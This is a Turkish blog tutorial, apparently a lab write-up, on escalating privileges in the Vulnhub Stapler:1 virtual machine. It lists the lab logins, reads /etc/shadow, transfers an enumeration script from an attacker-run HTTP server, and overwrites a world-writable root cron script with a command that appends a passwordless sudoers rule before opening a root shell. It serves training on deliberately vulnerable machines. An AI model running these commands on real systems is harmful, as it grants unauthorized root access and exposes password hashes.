Linux-Local-Enum Betiği ile Tespit Edilen Hatalı Yapılandırma Zafiyeti İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

Linux sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de hatalı yapıalndırma ayarlarının istismar edilmesidir. Bu yazıda, Stapler:1 sanal makinesindeki herkesçe yazılabilir olarak ayarlanmış zamanlanmış görev, linux-local-enum betiği ile tespit edilecek ve içeriği değiştirilerek standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı elde edilecektir.

Yazıda kullanılan Stapler:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/stapler-1,150/

 

Bu makineye aşağıdaki bilgiler ile erişim sağlanabilir.

Kullanıcı Adı: SHayslett
Parola: SHayslett
veya
Kullanıcı Adı: peter
Parola: JZQuyIN5
veya
Kullanıcı Adı: JKanode
Parola: thisimypassword

 

Linux işletim sistemine standart yetkilerle elde edilen erişimde uygulama kullanıcısı (www) haklarına sahip olunduğu görülmektedir.

id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | head -3
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | tail -10
cat /etc/shadow

 

Muhtemel hak yükseltme zafiyetlerinin listesi için linux-local-enum isimli Bash betiği (Quick Linux Local Enumeration Script) kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.

wget https://highon.coffee/downloads/linux-local-enum.sh

 

İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.

md5sum linux-local-enum.sh
python -m SimpleHTTPServer 8888

wget 172.20.50.128:8888/linux-local-enum.sh
ls -la linux-local-enum.sh

 

Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.

chmod +x linux-local-enum.sh
ls -la linux-local-enum.sh
./linux-local-enum.sh 2>/dev/null 1> Sonuc.txt
tail -2310 Sonuc.txt | head -35

 

Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.

cat Sonuc.txt | grep “## ”

Linux Version
Kernel Info
Network Info
File System Info
Mounted File Systems with Pretty Output
/etc/fstab File Contents
/etc/passwd File Contents
/etc/passwd File Contents
/etc/group File Contents
/etc/sudoers File Contents
Sticky Bit Files
World Writable Directories
World Writable FIles
Files Owned by Current User
/home and /root Permissions
Logged on Users
Last Logged on Users
Processes Running as root
Installed Packages for RHEL / Debian Based Systems
CentOS / RHEL Services that start at Boot
List of init Scripts aka System Services

 

Hak yükseltme zafiyetleri incelendiğinde “cron-logrotate.sh” adlı bir dosyanın herkes tarafından yazılabilir olduğuğu görülmektedir. Hatta bu dosyanın sahibinin “root” olduğu, erişim yetkilendirmesinin ise 777 olarak bırakıldığı görülmektedir.

cat Sonuc.txt | grep -i “World Writable FIles” -A6 -B3
ls -la /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh

 

“cron-logrotate.sh” dosyasını çağıran dosyalar listelendiğinde 5 dakikada bir çalışan “logrotate” adlı zamanlanmış görev tespit edilmektedir.

grep -rnw ‘/’ -e ‘cron-logrotate.sh’ 2>/dev/null

 

Hak yükseltmek için “cron-logrotate.sh” dosya içeriğine çalıştırılabilir ve hak yükseltmeye yarayan bir ifade yazılarak zamanlanmış görevin çalışması beklenir.

cat /etc/sudoers
sudo -l
cat /usr/local/sbin/cron-logrotate.sh
echo ‘echo “SHayslett ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’
echo ‘echo “SHayslett ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
date

 

Bir süre sonra zamanlanmış görev çalışarak hak yükseltilmiş olur.

date
sudo -l
cat /etc/sudoers
sudo cat /etc/sudoers | tail -5

 

Böylece “root” yetkileri ile komut satırına erişim sağlanılmış olur.

sudo su –
id
head -3 /etc/shadow

 

 

Kaynaklar:

Stapler: 1 walkthrough (long version)

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.